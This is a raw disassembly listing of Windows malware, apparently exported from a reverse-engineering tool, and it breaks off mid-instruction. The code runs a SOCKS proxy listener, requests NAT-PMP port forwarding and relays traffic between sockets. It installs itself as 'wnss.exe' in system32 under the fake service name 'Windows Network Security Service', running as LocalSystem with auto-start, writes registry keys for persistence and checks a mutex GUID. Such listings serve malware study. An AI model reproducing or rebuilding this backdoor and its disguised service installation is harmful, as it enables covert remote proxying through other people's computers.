DMN1:004467CCj ; DMN1:004467D3j push 0 push 0 push 4 push edi push 4 call sub_44651C add esp, 14h jmp loc_446C5B ; --------------------------------------------------------------------------- loc_4467F3: ; CODE XREF: DMN1:0044671Bj cmp byte ptr [ebp-411h], 5 jnz loc_446C5B mov byte ptr [ebp-429h], 0 push 1 lea eax, [ebp-429h] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jg short loc_446843 jmp loc_446C5B ; --------------------------------------------------------------------------- loc_446822: ; CODE XREF: DMN1:0044684Aj push 1 lea eax, [ebp-42Ah] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jle loc_446C5B sub byte ptr [ebp-429h], 1 loc_446843: ; CODE XREF: DMN1:0044681Bj cmp byte ptr [ebp-429h], 0 jnz short loc_446822 mov dword ptr [ebp-430h], 5 push 2 lea eax, [ebp-430h] push eax push edi call sub_443AA8 add esp, 0Ch test eax, eax jle loc_446C5B push 1 lea eax, [ebp-42Ah] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jle loc_446C5B cmp byte ptr [ebp-42Ah], 5 jnz loc_446C5B push 1 lea eax, [ebp-421h] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jle loc_446C5B push 1 lea eax, [ebp-42Ah] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jle loc_446C5B mov byte ptr [ebp-42Bh], 0 push 1 lea eax, [ebp-42Bh] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jle loc_446C5B cmp byte ptr [ebp-42Bh], 1 jnz short loc_446914 push 4 lea eax, [ebp-410h] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jg loc_4469C5 jmp loc_446C5B ; --------------------------------------------------------------------------- loc_446914: ; CODE XREF: DMN1:004468F3j cmp byte ptr [ebp-42Bh], 3 jnz loc_4469AF push 1 lea eax, [ebp-429h] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jle loc_446C5B cmp byte ptr [ebp-429h], 0 jz loc_446C5B movsx eax, byte ptr [ebp-429h] push eax lea eax, [ebp-408h] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jle loc_446C5B movsx eax, byte ptr [ebp-429h] mov byte ptr [ebp+eax-408h], 0 lea eax, [ebp-408h] push eax call sub_443ADF pop ecx mov [ebp-410h], eax test eax, eax jz short loc_446999 cmp eax, 0FFFFFFFFh jz short loc_446999 test eax, eax jnz short loc_4469C5 loc_446999: ; CODE XREF: DMN1:0044698Cj ; DMN1:00446993j push 0 push 0 push 4 push edi push 5 call sub_44651C add esp, 14h jmp loc_446C5B ; --------------------------------------------------------------------------- loc_4469AF: ; CODE XREF: DMN1:0044691Bj push 0 push 0 push 8 push edi push 5 call sub_44651C add esp, 14h jmp loc_446C5B ; --------------------------------------------------------------------------- loc_4469C5: ; CODE XREF: DMN1:00446909j ; DMN1:00446997j push 2 lea eax, [ebp-40Ah] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jle loc_446C5B loc_4469DF: ; CODE XREF: DMN1:00446789j ; DMN1:00446794j ... movzx eax, word ptr [ebp-40Ah] push eax call sub_4490B9 mov [ebp-40Ah], ax test ax, ax jnz short loc_446A14 push 0 push 0 push 2 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_44651C add esp, 14h jmp loc_446C5B ; --------------------------------------------------------------------------- loc_446A14: ; CODE XREF: DMN1:004469F6j cmp byte ptr [ebp-421h], 1 jz short loc_446A43 movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-410h] push 7 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_44651C add esp, 14h jmp loc_446C5B ; --------------------------------------------------------------------------- loc_446A43: ; CODE XREF: DMN1:00446A1Bj call sub_44367A mov [ebp-4], eax test eax, eax jnz short loc_446A6B push 0 push 0 push 1 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_44651C add esp, 14h jmp loc_446C5B ; --------------------------------------------------------------------------- loc_446A6B: ; CODE XREF: DMN1:00446A4Dj mov eax, [ebp-410h] mov [ebp-420h], eax push eax call sub_449101 mov [ebp-418h], eax movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-418h] push offset aConnectingToSI ; "connecting to %s:%i\n" call nullsub_3 add esp, 0Ch movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-410h] push dword ptr [ebp-4] call sub_443888 add esp, 0Ch test eax, eax jnz short loc_446B02 call sub_449113 push eax movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-418h] push offset aConnectionToSI ; "connection to %s:%i failed! %-( (%i)\n" call nullsub_3 add esp, 10h movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-410h] push 4 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_44651C add esp, 14h jmp loc_446C5B ; --------------------------------------------------------------------------- loc_446B02: ; CODE XREF: DMN1:00446AB9j movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-418h] push offset aConnectedToSI ; "connected to %s:%i\n" call nullsub_3 add esp, 0Ch movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-410h] push 0 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_44651C add esp, 14h test eax, eax jz loc_446C5B push offset aTransferringDa ; "transferring data...\n" call nullsub_3 pop ecx xor esi, esi loc_446B53: ; CODE XREF: DMN1:00446C3Aj ; DMN1:00446C4Bj inc esi push edi call sub_4437F0 pop ecx test eax, eax jl loc_446C50 push edi call sub_443863 pop ecx mov ebx, eax test ebx, ebx jl loc_446C50 cmp esi, 1Eh jle short loc_446B80 test ebx, ebx jnz short loc_446B80 xor ebx, ebx inc ebx loc_446B80: ; CODE XREF: DMN1:00446B77j ; DMN1:00446B7Bj test ebx, ebx jle short loc_446BCC cmp ebx, 400h jle short loc_446B91 mov ebx, 400h loc_446B91: ; CODE XREF: DMN1:00446B8Aj push ebx lea eax, [ebp-408h] push eax push edi call sub_4439FD add esp, 0Ch mov [ebp-8], eax test eax, eax jle loc_446C50 push dword ptr [ebp-8] lea eax, [ebp-408h] push eax push dword ptr [ebp-4] call sub_443AA8 add esp, 0Ch test eax, eax jle loc_446C5B xor esi, esi loc_446BCC: ; CODE XREF: DMN1:00446B82j push dword ptr [ebp-4] call sub_4437F0 pop ecx test eax, eax jl short loc_446C50 push dword ptr [ebp-4] call sub_443863 pop ecx mov ebx, eax test ebx, ebx jl short loc_446C50 cmp esi, 1Eh jle short loc_446BF4 test ebx, ebx jnz short loc_446BF4 xor ebx, ebx inc ebx loc_446BF4: ; CODE XREF: DMN1:00446BEBj ; DMN1:00446BEFj test ebx, ebx jle short loc_446C38 cmp ebx, 400h jle short loc_446C05 mov ebx, 400h loc_446C05: ; CODE XREF: DMN1:00446BFEj push ebx lea eax, [ebp-408h] push eax push dword ptr [ebp-4] call sub_4439FD add esp, 0Ch mov [ebp-8], eax test eax, eax jle short loc_446C50 push dword ptr [ebp-8] lea eax, [ebp-408h] push eax push edi call sub_443AA8 add esp, 0Ch test eax, eax jle short loc_446C5B xor esi, esi loc_446C38: ; CODE XREF: DMN1:00446BF6j test esi, esi jz loc_446B53 push 12Ch call dword_411D00 jmp loc_446B53 ; --------------------------------------------------------------------------- loc_446C50: ; CODE XREF: DMN1:00446B5Dj ; DMN1:00446B6Ej ... push offset aDataExchangeCo ; "data exchange complete\n" call nullsub_3 pop ecx loc_446C5B: ; CODE XREF: DMN1:0044667Fj ; DMN1:004466D2j ... push offset aConnectionClos ; "connection closed.\n" call nullsub_3 pop ecx push edi call sub_4437E3 pop ecx cmp dword ptr [ebp-4], 0 jz short loc_446C7C push dword ptr [ebp-4] call sub_4437E3 pop ecx loc_446C7C: ; CODE XREF: DMN1:00446C71j call sub_449D81 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi xor ebx, ebx and dword ptr [ebp-4], 0 and dword_41100C, 0 mov eax, dword_41100C mov [ebp-10h], eax lea eax, [ebp-18h] push eax lea eax, [ebp-0Ch] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call dword_411E24 test eax, eax jnz short loc_446D00 lea eax, [ebp-20h] push eax lea eax, [ebp-10h] push eax lea eax, [ebp-24h] push eax push 0 push offset aInternalprogra ; "InternalProgramData" push dword ptr [ebp-0Ch] call dword_411E44 test eax, eax jnz short loc_446CF7 mov eax, [ebp-10h] mov dword_41100C, eax loc_446CF7: ; CODE XREF: DMN1:00446CEDj push dword ptr [ebp-0Ch] call dword_411E2C loc_446D00: ; CODE XREF: DMN1:00446CCDj push offset aListener___ ; "listener...\n" call nullsub_3 pop ecx lea eax, [ebp-1Ah] push eax call sub_4447C7 pop ecx mov [ebp-6], ax test ax, ax jz short loc_446D42 cmp ax, 0FFFFh jz short loc_446D42 movzx eax, word ptr [ebp-6] cmp dword_411010, eax jz short loc_446D42 movzx eax, word ptr [ebp-6] mov dword_411010, eax movzx eax, word ptr [ebp-1Ah] mov dword_41100C, eax loc_446D42: ; CODE XREF: DMN1:00446D1Cj ; DMN1:00446D22j ... call sub_44367A mov dword_411030, eax loc_446D4C: ; CODE XREF: DMN1:00446DC8j cmp dword_41100C, 0 jnz short loc_446D88 loc_446D55: ; CODE XREF: DMN1:00446D7Cj ; DMN1:00446D83j lea eax, [ebp-4] push eax call sub_443322 pop ecx mov ecx, 9C40h cdq idiv ecx lea eax, [edx+4E20h] mov dword_41100C, eax mov eax, dword_41100C cmp eax, 24EAh jz short loc_446D55 cmp eax, 0BB8h jz short loc_446D55 xor ebx, ebx inc ebx loc_446D88: ; CODE XREF: DMN1:00446D53j movzx eax, word ptr dword_41100C push eax push 0 push dword_411030 call sub_4438D8 add esp, 0Ch test eax, eax jnz short loc_446DCA and dword_41100C, 0 and dword_411010, 0 push dword_411030 call sub_4437E3 pop ecx call sub_44367A mov dword_411030, eax jmp short loc_446D4C ; --------------------------------------------------------------------------- loc_446DCA: ; CODE XREF: DMN1:00446DA2j push dword_41100C push offset aSocksPortI ; "SOCKS port: %i\n" call sub_449641 pop ecx pop ecx mov eax, dword_41100C mov dword_411010, eax call sub_445434 mov [ebp-14h], eax movzx eax, word ptr dword_411010 push eax movzx eax, word ptr dword_41100C push eax push dword ptr [ebp-14h] call sub_445643 add esp, 0Ch movzx eax, ax mov dword_411010, eax cmp dword_411010, 0 jnz short loc_446E26 mov eax, dword_41100C mov dword_411010, eax jmp short loc_446E38 ; --------------------------------------------------------------------------- loc_446E26: ; CODE XREF: DMN1:00446E18j push dword_411010 push offset aNatpmpForwarde ; "NATPMP: forwarded to: %i\n" call sub_449641 pop ecx pop ecx loc_446E38: ; CODE XREF: DMN1:00446E24j movzx eax, word ptr dword_41100C push eax push eax call sub_444E23 pop ecx pop ecx test eax, eax jz short loc_446E51 mov eax, dword_41100C loc_446E51: ; CODE XREF: DMN1:00446E4Aj test ebx, ebx jz short loc_446EA7 mov eax, dword_41100C mov [ebp-10h], eax lea eax, [ebp-18h] push eax lea eax, [ebp-0Ch] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call dword_411E24 test eax, eax jnz short loc_446EA7 push 4 lea eax, [ebp-10h] push eax push 4 push 0 push offset aInternalprogra ; "InternalProgramData" push dword ptr [ebp-0Ch] call dword_411E28 push dword ptr [ebp-0Ch] call dword_411E2C loc_446EA7: ; CODE XREF: DMN1:00446E53j ; DMN1:00446E84j push 1 push offset dword_411024 call dword_411D04 push 1 push offset dword_41102C call dword_411D04 push offset aStartingCommTh ; "starting COMM thread...\n" call nullsub_3 pop ecx push 0 push 0 push offset sub_40400E call sub_449CF1 add esp, 0Ch push eax call dword_411CF8 push 0C8h call dword_411D00 push 0 push 0 push offset sub_403FEA call sub_449CF1 add esp, 0Ch push eax call dword_411CF8 push 0C8h call dword_411D00 loc_446F12: ; CODE XREF: DMN1:00446F3Cj ; DMN1:00446F6Fj push dword_411030 call sub_443928 pop ecx test eax, eax jz short loc_446F71 lea eax, [ebp-2Ah] push eax lea eax, [ebp-28h] push eax push dword_411030 call sub_44398D add esp, 0Ch mov edi, eax test edi, edi jz short loc_446F12 push 0Ch call sub_443369 pop ecx mov esi, eax mov eax, [ebp-28h] mov [esi], eax mov ax, [ebp-2Ah] mov [esi+4], ax mov [esi+8], edi push esi push 0 push offset sub_4042CD call sub_449CF1 add esp, 0Ch push eax call dword_411CF8 jmp short loc_446F12 ; --------------------------------------------------------------------------- loc_446F71: ; CODE XREF: DMN1:00446F20j push 0 push offset dword_41102C call dword_411D04 push dword_411030 call sub_4437E3 pop ecx and dword_411030, 0 call sub_449D81 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx mov ebx, [ebp+10h] push 44h push 0 lea eax, [ebp-44h] push eax call sub_4499B1 add esp, 0Ch mov dword ptr [ebp-44h], 44h test ebx, ebx jz short loc_446FDA push offset asc_40EDE8 ; "\"" lea eax, [ebp-844h] push eax call sub_449A51 pop ecx pop ecx jmp short loc_446FE1 ; --------------------------------------------------------------------------- loc_446FDA: ; CODE XREF: DMN1:00446FC3j mov byte ptr [ebp-844h], 0 loc_446FE1: ; CODE XREF: DMN1:00446FD8j cmp dword ptr [ebp+8], 0 jz short loc_446FFA push dword ptr [ebp+8] lea eax, [ebp-844h] push eax call sub_449A71 pop ecx pop ecx jmp short loc_44700D ; --------------------------------------------------------------------------- loc_446FFA: ; CODE XREF: DMN1:00446FE5j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" lea eax, [ebp-844h] push eax call sub_449A71 pop ecx pop ecx loc_44700D: ; CODE XREF: DMN1:00446FF8j test ebx, ebx jz short loc_447024 push offset asc_40EDE8 ; "\"" lea eax, [ebp-844h] push eax call sub_449A71 pop ecx pop ecx loc_447024: ; CODE XREF: DMN1:0044700Fj cmp dword ptr [ebp+0Ch], 0 jz short loc_44704E push offset asc_40EDC9 ; " " lea eax, [ebp-844h] push eax call sub_449A71 pop ecx pop ecx push dword ptr [ebp+0Ch] lea eax, [ebp-844h] push eax call sub_449A71 pop ecx pop ecx loc_44704E: ; CODE XREF: DMN1:00447028j lea eax, [ebp-854h] push eax lea eax, [ebp-44h] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp-844h] push eax push 0 call dword_411D10 test eax, eax jz short loc_447093 push dword ptr [ebp-850h] call dword_411CF8 push dword ptr [ebp-854h] call dword_411CF8 xor eax, eax inc eax loc_447093: ; CODE XREF: DMN1:00447076j pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_447098 proc near ; CODE XREF: DMN1:00447FE4p ; sub_448AD1:loc_448E0Dp ... push ebx push esi push 0F003Fh push 0 push 0 call dword_411E48 mov ebx, eax test eax, eax jz short loc_4470DF push 4 push offset aWnss ; "wnss" push ebx call dword_411E4C mov esi, eax test esi, esi jnz short loc_4470CE push ebx call dword_411E50 xor eax, eax jmp short loc_4470DF ; --------------------------------------------------------------------------- loc_4470CE: ; CODE XREF: sub_447098+29j push esi call dword_411E50 push ebx call dword_411E50 xor eax, eax inc eax loc_4470DF: ; CODE XREF: sub_447098+15j ; sub_447098+34j pop esi pop ebx retn sub_447098 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4470E2 proc near ; CODE XREF: sub_448AD1+3C4p var_1C = byte ptr -1Ch var_18 = dword ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi push 0F003Fh push 0 push 0 call dword_411E48 mov ebx, eax test eax, eax jz short loc_44714C push 94h push offset aWnss ; "wnss" push ebx call dword_411E4C mov esi, eax test esi, esi jnz short loc_447122 push ebx call dword_411E50 xor eax, eax jmp short loc_44714C ; --------------------------------------------------------------------------- loc_447122: ; CODE XREF: sub_4470E2+33j xor edi, edi lea eax, [ebp+var_1C] push eax push esi call dword_411E54 test eax, eax jz short loc_44713C cmp [ebp+var_18], 4 jnz short loc_44713C xor edi, edi inc edi loc_44713C: ; CODE XREF: sub_4470E2+4Fj ; sub_4470E2+55j push esi call dword_411E50 push ebx call dword_411E50 mov eax, edi loc_44714C: ; CODE XREF: sub_4470E2+1Cj ; sub_4470E2+3Ej pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4470E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447153 proc near ; CODE XREF: sub_4471E8+32p ; sub_447236+39p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx mov ebx, [ebp+arg_0] push 0 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push 0 push 2 push 0FFFFFFFFh push ebx call dword_411E58 test eax, eax jnz short loc_447195 call dword_411CE8 cmp eax, 430h jnz short loc_447191 or eax, 0FFFFFFFFh jmp short loc_4471E3 ; --------------------------------------------------------------------------- loc_447191: ; CODE XREF: sub_447153+37j xor eax, eax jmp short loc_4471E3 ; --------------------------------------------------------------------------- loc_447195: ; CODE XREF: sub_447153+2Aj mov [ebp+var_1C], 1 and [ebp+var_18], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_1C] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push ebx call dword_411E5C test eax, eax jnz short loc_4471E0 call dword_411CE8 cmp eax, 430h jnz short loc_4471DC or eax, 0FFFFFFFFh jmp short loc_4471E3 ; --------------------------------------------------------------------------- loc_4471DC: ; CODE XREF: sub_447153+82j xor eax, eax jmp short loc_4471E3 ; --------------------------------------------------------------------------- loc_4471E0: ; CODE XREF: sub_447153+75j xor eax, eax inc eax loc_4471E3: ; CODE XREF: sub_447153+3Cj ; sub_447153+40j ... pop ebx mov esp, ebp pop ebp retn sub_447153 endp ; =============== S U B R O U T I N E ======================================= sub_4471E8 proc near ; CODE XREF: sub_44730A+6Dp ; DMN1:loc_447FFBp push ebx push esi push edi xor edi, edi push 0F003Fh push 0 push 0 call dword_411E48 mov ebx, eax test eax, eax jz short loc_447232 push 96h push offset aWnss ; "wnss" push ebx call dword_411E4C mov esi, eax test esi, esi jz short loc_447229 push esi call sub_447153 pop ecx mov edi, eax push esi call dword_411E50 loc_447229: ; CODE XREF: sub_4471E8+2Fj push ebx call dword_411E50 mov eax, edi loc_447232: ; CODE XREF: sub_4471E8+18j pop edi pop esi pop ebx retn sub_4471E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447236 proc near ; CODE XREF: DMN1:00447EFAp ; sub_448AD1+428p ... var_1C = byte ptr -1Ch var_18 = dword ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi xor esi, esi push 0F003Fh push 0 push 0 call dword_411E48 mov edi, eax test eax, eax jz loc_447303 push 16h push offset aWnss ; "wnss" push edi call dword_411E4C mov ebx, eax test ebx, ebx jz short loc_447292 push ebx call sub_447153 pop ecx mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_44728E push ebx call dword_411E50 push edi call dword_411E50 mov eax, esi jmp short loc_447303 ; --------------------------------------------------------------------------- loc_44728E: ; CODE XREF: sub_447236+44j xor esi, esi jmp short loc_4472A2 ; --------------------------------------------------------------------------- loc_447292: ; CODE XREF: sub_447236+36j push 14h push offset aWnss ; "wnss" push edi call dword_411E4C mov ebx, eax loc_4472A2: ; CODE XREF: sub_447236+5Aj test ebx, ebx jnz short loc_4472B1 push edi call dword_411E50 xor eax, eax jmp short loc_447303 ; --------------------------------------------------------------------------- loc_4472B1: ; CODE XREF: sub_447236+6Ej lea eax, [ebp+var_1C] push eax push ebx call dword_411E54 test eax, eax jz short loc_4472C9 cmp [ebp+var_18], 4 jnz short loc_4472C9 xor esi, esi inc esi loc_4472C9: ; CODE XREF: sub_447236+88j ; sub_447236+8Ej test esi, esi jnz short loc_4472F3 push 0 push 0 push ebx call dword_411E60 test eax, eax jz short loc_4472E3 mov esi, 2 jmp short loc_4472F3 ; --------------------------------------------------------------------------- loc_4472E3: ; CODE XREF: sub_447236+A4j call dword_411CE8 cmp eax, 430h jnz short loc_4472F3 or esi, 0FFFFFFFFh loc_4472F3: ; CODE XREF: sub_447236+95j ; sub_447236+ABj ... push ebx call dword_411E50 push edi call dword_411E50 mov eax, esi loc_447303: ; CODE XREF: sub_447236+1Ej ; sub_447236+56j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_447236 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44730A proc near ; CODE XREF: DMN1:loc_44800Cp ; sub_448AD1+3F3p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_113 = byte ptr -113h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 0F003Fh push 0 push 0 call dword_411E48 mov esi, eax test eax, eax jz loc_447445 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push 0 push 2 push 110h push 0F01FFh push offset aWindowsNetwork ; "Windows Network Security Service" push offset aWnss ; "wnss" push esi call dword_411E64 mov ebx, eax test ebx, ebx jnz short loc_447392 call dword_411CE8 cmp eax, 431h jnz short loc_447384 push esi call dword_411E50 call sub_4471E8 xor eax, eax inc eax jmp loc_447445 ; --------------------------------------------------------------------------- loc_447384: ; CODE XREF: sub_44730A+64j push esi call dword_411E50 xor eax, eax jmp loc_447445 ; --------------------------------------------------------------------------- loc_447392: ; CODE XREF: sub_44730A+57j push offset aServiceRegiste ; "service registered\n" call nullsub_4 pop ecx xor edi, edi inc edi push 0FFh push offset aProvidesNetwor ; "Provides network security options for s"... lea eax, [ebp+var_113] push eax call dword_411D3C lea eax, [ebp+var_113] mov [ebp+var_120], eax lea eax, [ebp+var_120] push eax push 1 push ebx call dword_411E5C test eax, eax jnz short loc_4473E7 call dword_411CE8 cmp eax, 430h jnz short loc_4473E7 or edi, 0FFFFFFFFh loc_4473E7: ; CODE XREF: sub_44730A+CBj ; sub_44730A+D8j mov [ebp+var_11C], 1 and [ebp+var_118], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_11C] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push ebx call dword_411E5C test eax, eax jnz short loc_447435 call dword_411CE8 cmp eax, 430h jnz short loc_447435 or edi, 0FFFFFFFFh loc_447435: ; CODE XREF: sub_44730A+119j ; sub_44730A+126j push ebx call dword_411E50 push esi call dword_411E50 mov eax, edi loc_447445: ; CODE XREF: sub_44730A+1Fj ; sub_44730A+75j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44730A endp ; =============== S U B R O U T I N E ======================================= sub_44744C proc near ; CODE XREF: DMN1:00446314p ; sub_448AD1+B0p ... push ebx push esi push 0F003Fh push 0 push 0 call dword_411E48 mov ebx, eax test eax, eax jz short loc_44748E push 0F01FFh push offset aWnss ; "wnss" push ebx call dword_411E4C mov esi, eax push esi call dword_411E68 push esi call dword_411E50 push ebx call dword_411E50 xor eax, eax inc eax loc_44748E: ; CODE XREF: sub_44744C+15j pop esi pop ebx retn sub_44744C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447491 proc near ; CODE XREF: DMN1:00447FEDp ; sub_448AD1+40Ap var_53C = dword ptr -53Ch var_538 = byte ptr -538h var_534 = byte ptr -534h var_409 = byte ptr -409h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h push ebp mov ebp, esp sub esp, 53Ch push ebx push esi push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\" lea eax, [ebp+var_400] push eax call sub_449A51 pop ecx pop ecx lea ebx, [ebp+var_400] lea eax, [ebp+var_400] push eax call sub_449A31 pop ecx add ebx, eax push offset aWnss ; "wnss" push ebx call sub_449A51 pop ecx pop ecx xor esi, esi lea eax, [ebp+var_404] push eax push 0F003Fh push 0 lea eax, [ebp+var_400] push eax push 80000002h call dword_411E30 test eax, eax jnz short loc_44755F mov [ebp+var_408], 12Ch lea eax, [ebp+var_408] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_538] push eax push 0 push offset aImagepath ; "ImagePath" push [ebp+var_404] call dword_411E44 mov [ebp+var_53C], eax test eax, eax jnz short loc_447553 mov [ebp+var_409], 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" lea eax, [ebp+var_534] push eax call dword_411D38 test eax, eax jnz short loc_447553 xor esi, esi inc esi loc_447553: ; CODE XREF: sub_447491+A0j ; sub_447491+BDj push [ebp+var_404] call dword_411E2C loc_44755F: ; CODE XREF: sub_447491+64j mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_447491 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447567 proc near ; CODE XREF: DMN1:00447FF6p ; sub_448AD1+413p var_40C = byte ptr -40Ch var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 40Ch push ebx push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\" lea eax, [ebp+var_408] push eax call sub_449A51 pop ecx pop ecx lea ebx, [ebp+var_408] lea eax, [ebp+var_408] push eax call sub_449A31 pop ecx add ebx, eax push offset aWnss ; "wnss" push ebx call sub_449A51 pop ecx pop ecx lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 lea eax, [ebp+var_408] push eax push 80000002h call dword_411E24 test eax, eax jnz loc_4476DC mov [ebp+var_8], 110h push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aType ; "Type" push [ebp+var_4] call dword_411E28 mov [ebp+var_8], 2 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aStart ; "Start" push [ebp+var_4] call dword_411E28 and [ebp+var_8], 0 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aErrorcontrol ; "ErrorControl" push [ebp+var_4] call dword_411E28 and [ebp+var_8], 0 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aErrorcontrol ; "ErrorControl" push [ebp+var_4] call dword_411E28 push 0Ch push offset aLocalsystem ; "LocalSystem" push 1 push 0 push offset aObjectname ; "ObjectName" push [ebp+var_4] call dword_411E28 push offset aWindowsNetwork ; "Windows Network Security Service" call sub_449A31 pop ecx inc eax push eax push offset aWindowsNetwork ; "Windows Network Security Service" push 1 push 0 push offset aDisplayname ; "DisplayName" push [ebp+var_4] call dword_411E28 push offset aProvidesNetwor ; "Provides network security options for s"... call sub_449A31 pop ecx inc eax push eax push offset aProvidesNetwor ; "Provides network security options for s"... push 1 push 0 push offset aDescription ; "Description" push [ebp+var_4] call dword_411E28 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" call sub_449A31 pop ecx inc eax push eax push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push 1 push 0 push offset aImagepath ; "ImagePath" push [ebp+var_4] call dword_411E28 push [ebp+var_4] call dword_411E2C loc_4476DC: ; CODE XREF: sub_447567+6Bj pop ebx mov esp, ebp pop ebp retn sub_447567 endp ; --------------------------------------------------------------------------- push ebx push esi push offset a8fc4ddd4C51e11 ; "{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}" push 0 push 0 push 0 call dword_411D40 mov ebx, eax test eax, eax jz short loc_447715 push ebx call dword_411D44 mov esi, eax push ebx call dword_411CF8 test esi, esi jz short loc_447713 xor eax, eax inc eax jmp short loc_447715 ; --------------------------------------------------------------------------- loc_447713: ; CODE XREF: DMN1:0044770Cj xor eax, eax loc_447715: ; CODE XREF: DMN1:004476F8j ; DMN1:00447711j pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447718 proc near ; CODE XREF: sub_447925+89p ; sub_4479BB+CAp ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E24 test eax, eax jnz short loc_44776A push [ebp+arg_C] call sub_449A31 pop ecx inc eax push eax push [ebp+arg_C] push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call dword_411E28 push [ebp+var_4] call dword_411E2C loc_44776A: ; CODE XREF: sub_447718+29j mov esp, ebp pop ebp retn sub_447718 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44776E proc near ; CODE XREF: sub_447876+3Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov esi, [ebp+arg_0] push esi call sub_449A31 pop ecx mov edi, eax push [ebp+var_4] call sub_449A31 pop ecx mov ebx, eax jmp short loc_4477B2 ; --------------------------------------------------------------------------- loc_447794: ; CODE XREF: sub_44776E+46j push ebx push [ebp+var_4] push ebx push esi push 1 push 400h call dword_411CFC cmp eax, 2 jnz 